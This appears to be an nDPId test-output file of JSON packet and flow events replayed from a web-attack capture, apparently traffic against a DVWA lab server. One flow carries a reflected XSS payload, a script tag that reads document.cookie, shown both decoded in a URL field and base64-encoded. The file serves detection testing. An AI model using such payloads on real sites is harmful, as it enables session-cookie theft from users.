+00432{"flow_id":339,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4845,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347547,"pkt_ts_usec":762478,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00WFAAD4G9HasEAABwKgKMuPCAFCPt8g2bPxcCYARAOXrfQAAAQEICgE7HmgD5Orf"} +00433{"flow_id":339,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4846,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347547,"pkt_ts_usec":762738,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0s9dAAEAGEAHAqAoyrBAAAQBQ48Js\/FwJj7fIN4ARAOPmfwAAAQEICgPk794BOx5o"} +00433{"flow_id":339,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4847,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347547,"pkt_ts_usec":763350,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00WJAAD4G9HWsEAABwKgKMuPCAFCPt8g3bPxcCoAQAOXmfAAAAQEICgE7HmkD5O\/e"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4857,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":343,"flow_packet_id":1,"flow_first_seen":1499347550209,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58386,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":343,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4857,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347550,"pkt_ts_usec":209719,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8eyFAAD4GSq+sEAABwKgKMuQSAFDq3lvtAAAAAKACchARzgAAAgQFtAQCCAoBOyDMAAAAAAEDAwc="} +00444{"flow_id":343,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4858,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347550,"pkt_ts_usec":209879,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5BLEGGHa6t5b7qAScSD2kwAAAgQFtAQCCAoD5PJBATsgzAEDAwc="} +00432{"flow_id":343,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4859,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347550,"pkt_ts_usec":210600,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eyJAAD4GSrasEAABwKgKMuQSAFDq3lvuxBhh24AQAOWVmwAAAQEICgE7IMwD5PJB"} +00432{"flow_id":340,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4863,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347550,"pkt_ts_usec":763038,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HVhAAD4GqICsEAABwKgKMuPcAFAahQa1Hl4Jm4ARAOW9vgAAAQEICgE7IVYD5O1X"} +00432{"flow_id":340,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4864,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347550,"pkt_ts_usec":763225,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0+1dAAEAGyIDAqAoyrBAAAQBQ49weXgmbGoUGtoARAOO4SgAAAQEICgPk8swBOyFW"} +00432{"flow_id":340,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4865,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347550,"pkt_ts_usec":764013,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HVlAAD4GqH+sEAABwKgKMuPcAFAahQa2Hl4JnIAQAOW4RwAAAQEICgE7IVcD5PLM"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4872,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":344,"flow_packet_id":1,"flow_first_seen":1499347551495,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58400,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":344,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4872,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347551,"pkt_ts_usec":495961,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8D\/NAAD4Gtd2sEAABwKgKMuQgAFDTqC39AAAAAKACchBVpAAAAgQFtAQCCAoBOyIOAAAAAAEDAwc="} +00445{"flow_id":344,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4873,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347551,"pkt_ts_usec":496061,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5CCgVV5k06gt\/qAScSBgYQAAAgQFtAQCCAoD5PODATsiDgEDAwc="} +00434{"flow_id":344,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4874,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347551,"pkt_ts_usec":496846,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0D\/RAAD4GteSsEAABwKgKMuQgAFDTqC3+oFVeZYAQAOX\/aAAAAQEICgE7Ig4D5POD"} +00432{"flow_id":341,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4875,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347551,"pkt_ts_usec":497097,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Q61AAD4GgiusEAABwKgKMuPqAFBqhV6xjcYFyYARAOWoLAAAAQEICgE7Ig4D5O6Q"} +01216{"flow_id":342,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4876,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347551,"pkt_ts_usec":497128,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ99ItAAD4GzwOsEAABwKgKMuP4AFDYf+rgEbVhN4AYAOWxaAAAAQEICgE7Ig4D5O\/LR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdNUlZTMVZPOUZMTzRDRkE1RkxKMTNJOUdVTE9GSDY5V0hPSlEwUEgwT0tFMkZNRzNNUSUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00917{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4876,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":342,"flow_packet_id":4,"flow_first_seen":1499347547687,"flow_last_seen":1499347551497,"flow_tot_l4_data_len":729,"flow_min_l4_data_len":32,"flow_max_l4_data_len":617,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58360,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/?name=%3Cscript%3Econsole.log%28%27MRVS1VO9FLO4CFA5FLJ13I9GULOFH69WHOJQ0PH0OKE2FMG3MQ%27%29%3Bconsole.log%28document.cookie%29%3B%3C%2Fscript%3E","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00434{"flow_id":342,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4877,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347551,"pkt_ts_usec":497207,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0krRAAEAGMSTAqAoyrBAAAQBQ4\/gRtWE32H\/tKYAQAOzHVQAAAQEICgPk84MBOyIO"} +00432{"flow_id":341,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4878,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347551,"pkt_ts_usec":497275,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA09kpAAEAGzY3AqAoyrBAAAQBQ4+qNxgXJaoVesoARAOOjOgAAAQEICgPk84MBOyIO"} +00432{"flow_id":341,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4879,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347551,"pkt_ts_usec":497713,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Q65AAD4GgiqsEAABwKgKMuPqAFBqhV6yjcYFyoAQAOWjOAAAAQEICgE7Ig4D5POD"} +02962{"flow_id":342,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4880,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347551,"pkt_ts_usec":500623,"pkt_caplen":1934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1934,"pkt_l4_len":1900,"pkt":"AMGxFOsxABm5CmnxCABFAAeAkrVAAEAGKdfAqAoyrBAAAQBQ4\/gRtWE32H\/tKYAYAOx+XgAAAQEICgPk84QBOyIOSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI1OjUxIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNg0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWG1P4zgQ\/gzS\/gefTzpgpcZ0uTsdbJsVtHTLXrmytMCedFLkJm5rcOIQOy38+xs7SRteS7ZIqDj2vDzjGY9n\/GGz8Uu73xr+e3aMpjoU6OziqHfSQrhGyNVei5D2sI1+dIenPVR3dtFAJ9zXhBz\/gxGeah0fEDKfz535niOTCRmekzsjpW7Y8mFNWR4n0AF2P2x+2GxYPXehiFTzGRn1\/f39jDUj32hMGQ1guLHRCJmmyLDU2G3KZ03ckpFmka4N72OGkZ99NbFmd5oYEZ+RP6WJYrp5MezU\/sKIZDI3GpprwdzLVEQsoSMuuL4\/QOdsLJivWYBaiVQKDbhmaOAnPNY8mqDtH4PBDjo4QG0aRqjgFQxdsRE6jGPBfaq5jNB2+\/LqcAfN6k59F31ssxkTMg4B2scGyRTnKASPblDCRBMrfS+YmjKmMdJgTW6ErxRG04SNm9hxCPwFszk1sySkPHLsMnkqjcNWFHL+4yGdMAJTDyWN6cyQOXZhIUNZa8sQrumMZrMYqcR\/AORa2f9noMC5VthtkIwy9xzJXWfGIxncI19QZbwuQ4YzlwZ8hnjQxMZ3YBFLcq+XloyQ0vxGg4eTJ0iskYoIOZFOHE0wogICYYWjlnYDVlD3RLXZZA8cl5a0P1nzYhoELMgMAoJUFHaa1SMh\/RuzNYIjGfmg+qaJ5zwK5NyBJYujuZVZ4mzhghUY6AN3OdjtwrY1CIVdFtzdfItAHsHpS30zpZx4Gr8i\/zEpdk9KM9XUwoFL4xX6FjTYHZghInD8YBK1j0rKSCrcNTZ0VjrfHMJjlKSakVdQPc+A3SPzH3Vk4lf0wGOB7I75VQBYeuy2ZBjSKEAn0TWzHlkPha+ScRUUlh5QDM476ykec+J8ieGoNjlwpgFbESVv4sduh8PhPjEzau29SWMhaVBld3KOHMaF\/VrTPzTWcHNVclHOYs8t89OEodbh2bDVPVwPiroVvAoOSw9n+nvvvYLVSPRGcLlVckqJ6xEatH1kpnfWQzVn9MbjlSAVLNi9ghEaMGWiFZ20K6bXx3LvlPIqAckYsAv1DNQq\/dM1t8KIS0r6FcuqqDfhSAoci+LrHdCoqruhChQDLZOHENa8guxZhOpy5XW4JMOuqR8hPrKpatsB\/DwayxXqSlTYPeuewekYy2qK6EimeoWaBQ12D83w\/bbVFHor1S+JsNuz40cA8ortQe33ciFoSthlIQidjFnNdZu1ciHYmNZ\/pruAkrmeF8wl4bNFBev5MmAeTRjN6+exTEIU0RCqdeCHstemuCb+FSPolqYSsH89Hua1aSPOLb6aUr2l0L1ME8v8paisozgtF\/84F21+F\/VtmUilo5AD2YyKFD4H2WeujcRu1lQQgzLDGyfM7TIhJMpbDRcqfyUFAw9PtrdOzy8H9cv+fqfX\/73VOfyj0\/tW3zvZ\/3rR63e6f+5fdfvfvu+edXf7fx9\/6px+3Tv9vrXzuSwhkH5qOi3Hl\/KGs53Pi5YE4CTMumbp4cb0k3sKB96GfxLS7LKCSbOWxwdE4zKuTPOp8oZVzqmKbc8KIcruTJgR69maAs96C8961rPQjtFkAp0ohluJRjfY\/XlZiyiujA+4PahSNEu8Y2jrwFyvBf2V9gZ561kR4+vyVuNkkTPnNzxmAadWtPkqW64Ky1\/G9nYZr+PJzfQnfJGMfRma66E2preOfZJ4FsQbGN+kOcNJBUt03Up4Vd0T6rKOPLtloV50rqME+t3st0hhL6S8PO\/4gtFkcZqfy4vqXmkWeuYueTY\/jFKtTZ+d54dLzuYIjn+8yNmxjNPYK8hk1Mqy\/vLR4QAoLuJt9MJtPwOJ3hQkmnD8ApBsTfFb4YimkPMttINdtBLWAJKhz94XmLIyV0Izu0kFn0DeFmwM+bPBQvdCscTk3YMGgS9Eg5BHuQvhuygOUM+8LuU0IHFJAbf6SXuQrwRcmesjKLz4okPHUuoHjy2xu85rV\/zctVpOwMRcnNm7oH2xc\/8HQvhcO5IUAAA="} +00433{"flow_id":342,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4881,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347551,"pkt_ts_usec":501272,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09IxAAD4G0UusEAABwKgKMuP4AFDYf+0pEbVog4AQAQK\/8QAAAQEICgE7Ig8D5POE"} +00948{"flow_id":342,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4882,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347552,"pkt_ts_usec":508345,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGz9I1AAD4Gz8usEAABwKgKMuP4AFDYf+0pEbVog4AYAQJt\/QAAAQEICgE7IwsD5POER0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02822{"flow_id":342,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4883,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347552,"pkt_ts_usec":511908,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAcekrdAAEAGKjfAqAoyrBAAAQBQ4\/gRtWiD2H\/uqIAYAPV9\/AAAAQEICgPk9IEBOyMLSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI1OjUyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00433{"flow_id":342,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4884,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347552,"pkt_ts_usec":512647,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09I5AAD4G0UmsEAABwKgKMuP4AFDYf+6oEbVvbYAQAR21cwAAAQEICgE7IwwD5PSB"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4885,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":345,"flow_packet_id":1,"flow_first_seen":1499347552736,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58414,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":345,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4885,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347552,"pkt_ts_usec":736899,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8B91AAD4GvfOsEAABwKgKMuQuAFCEqySZAAAAAKACchCswQAAAgQFtAQCCAoBOyNEAAAAAAEDAwc="} +00444{"flow_id":345,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4886,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347552,"pkt_ts_usec":736998,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5C6xPoYyhKskmqAScSB9kQAAAgQFtAQCCAoD5PS5ATsjRAEDAwc="} +00432{"flow_id":345,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4887,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347552,"pkt_ts_usec":737743,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0B95AAD4GvfqsEAABwKgKMuQuAFCEqySasT6GM4AQAOUcmQAAAQEICgE7I0QD5PS5"} 